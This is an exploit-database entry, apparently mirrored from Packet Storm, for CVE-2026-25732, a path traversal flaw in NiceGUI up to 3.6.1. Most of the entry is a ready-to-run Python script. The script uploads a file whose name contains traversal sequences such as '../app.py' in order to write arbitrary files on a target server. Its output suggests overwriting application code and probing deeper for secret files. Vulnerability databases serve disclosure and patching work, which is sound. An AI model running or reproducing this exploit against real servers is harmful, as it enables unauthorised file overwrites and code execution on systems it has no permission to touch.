Lucene search
K

📄 NiceGUI 3.6.1 Path Traversal

🗓️ 05 May 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 40 Views

CVE-2026-25732: NiceGUI 3.6.1 path traversal enables arbitrary file write via upload name.

Related
Code
# Exploit Title: NiceGUI 3.6.1 - Path Traversal 
    # Author: Mohammed Idrees Banyamer
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # Date: 2025-06-06
    # Tested on: NiceGUI <= 3.6.1 (Python 3.8–3.12 on Linux/Windows)
    # CVE: CVE-2026-25732
    #
    # Affected Versions: <= 3.6.1 (fixed in 3.7.0)
    #
    # Type: Remote Arbitrary File Write / Path Traversal
    # Platform: Web Application (Python / NiceGUI)
    # Author Country: Jordan
    # Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
    # Attack Vector: Network
    # Privileges Required: None
    #!/usr/bin/env python3
    """
    CVE-2026-25732 — NiceGUI arbitrary file write (path traversal)
    Exploits unsanitized FileUpload.name when app uses it in save path.
    
    Usage:
      python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
      python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
    """
    
    import sys
    import requests
    from urllib.parse import urljoin
    from pathlib import Path
    
    def exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path):
        target_url = target_url.rstrip('/') + '/'
    
        try:
            with open(local_payload_path, 'rb') as f:
                payload_bytes = f.read()
        except Exception as e:
            print(f"[-] Cannot read payload file: {e}")
            sys.exit(1)
    
        files = {
            'file': (malicious_filename, payload_bytes, 'application/octet-stream')
        }
    
        print(f"[*] Target       : {target_url}")
        print(f"[*] Malicious name : {malicious_filename}")
        print(f"[*] Payload size   : {len(payload_bytes):,} bytes")
    
        try:
            # NiceGUI upload endpoint is usually the page itself (multipart POST to /)
            r = requests.post(
                target_url,
                files=files,
                timeout=12,
                allow_redirects=False
            )
    
            print(f"[+] Response     : {r.status_code} {r.reason}")
            if r.status_code in (200, 201, 204):
                print("[SUCCESS] Upload accepted — file likely written")
            elif r.status_code == 413:
                print("[!] Payload too large (server limit)")
            elif r.status_code in (400, 403, 422):
                print("[!] Rejected — target may be patched / not vulnerable / wrong endpoint")
            else:
                print("[?] Unexpected response — check manually")
    
            print("\nSnippet of response:")
            print(r.text[:600].replace('\n', ' ').strip() + "..." if len(r.text) > 600 else r.text)
    
        except requests.RequestException as e:
            print(f"[-] Request failed: {e}")
    
        print("\nNext steps:")
        print(" • Check filesystem on target (if you have access)")
        print(" • If you overwrote app.py / main.py → wait for reload / restart")
        print(" • Try deeper traversal: '../../some/secret/file' etc.")
    
    if __name__ == '__main__':
        if len(sys.argv) != 4:
            print(__doc__)
            sys.exit(1)
    
        target = sys.argv[1]
        dest_filename = sys.argv[2]
        payload_file = sys.argv[3]
    
        exploit(target, dest_filename, payload_file)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5
EPSS0.01382
SSVC
40